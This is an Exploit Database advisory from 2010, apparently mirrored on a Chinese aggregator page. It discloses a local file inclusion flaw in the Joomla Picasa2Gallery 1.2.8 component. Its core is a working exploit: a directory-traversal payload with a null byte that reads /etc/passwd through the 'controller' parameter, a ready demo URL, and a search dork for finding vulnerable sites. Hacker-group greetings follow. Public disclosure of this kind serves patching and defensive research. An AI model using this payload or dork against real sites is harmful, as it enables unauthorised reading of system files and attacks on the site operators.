Joomla! Component Picasa2Gallery 1.2.8 – Local File Inclusion

• Exploit Database
• 15 阅读

• 作者： kaMtiEz
  日期： 2010-06-22
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/13981/

• [!]===========================================================================[!]
  
  [~] Joomla Component Picasa2Gallery LFI vulnerability 
  [~] Author	: kaMtiEz (kamzcrew@yahoo.com)
  [~] Homepage	: http://www.indonesiancoder.com
  [~] Date	: 22 june, 2010
  
  [!]===========================================================================[!]
  
  [ Software Information ]
  
  [+] Vendor : http://www.masselink.net
  [+] Price : free
  [+] Vulnerability : LFI
  [+] Dork : inurl:"CIHUY" ;)
  [+] Download : http://www.masselink.net/downloads/Software/Picasa2Gallery-1.2.8/
  [+] Version : 1.2.8 or lower ;)
  
  [!]===========================================================================[!]
  
  [ Vulnerable File ]
  
  http://127.0.0.1/index.php?option=com_picasa2gallery&controller=[INDONESIANCODER]
  
  [ XpL ]
  
  ../../../../../../../../../../../../../../../etc/passwd%00
  
  
  [ d3m0 ]
  
  http://sever/index.php?option=com_picasa2gallery&controller=../../../../../../../../../../../../../../etc/passwd%00
  
  [!]===========================================================================[!]
  
  [ Thx TO ]
  
  [+] INDONESIAN CODER TEAM MainHack MAGELANG CYBER ServerIsDown SurabayaHackerLink IndonesianHacker MC-CREW IH-CREW
  [+] tukulesto,M3NW5,arianom,N4CK0,Jundab,d0ntcry,bobyhikaru,gonzhack,senot,Jack-
  [+] Contrex,YadoY666,bumble_be,MarahMeraH,Ronz,Pathloader,cimpli,MarahMerah.IBL13Z,r3m1ck
  [+] Coracore,Gh4mb4s,Jack-,vYcOd,ayy,otong,CS-31,yur4kh4,MISTERFRIBO,GENI212
  
  
  [ NOTE ] 
  
  [+] WE ARE ONE UNITY, WE ARE A CODER FAMILY, AND WE ARE INDONESIAN CODER TEAM 
  [+] Jika kami bersama Nyalakan Tanda Bahaya ;)
  [+] Ayy : HappY birthday yak .. maap ketinggalan aha . . .
  [+] MALANG ! kami datang ... ^^
  
  [ QUOTE ]
  
  [+] INDONESIANCODER still r0x
  [+] nothing secure ..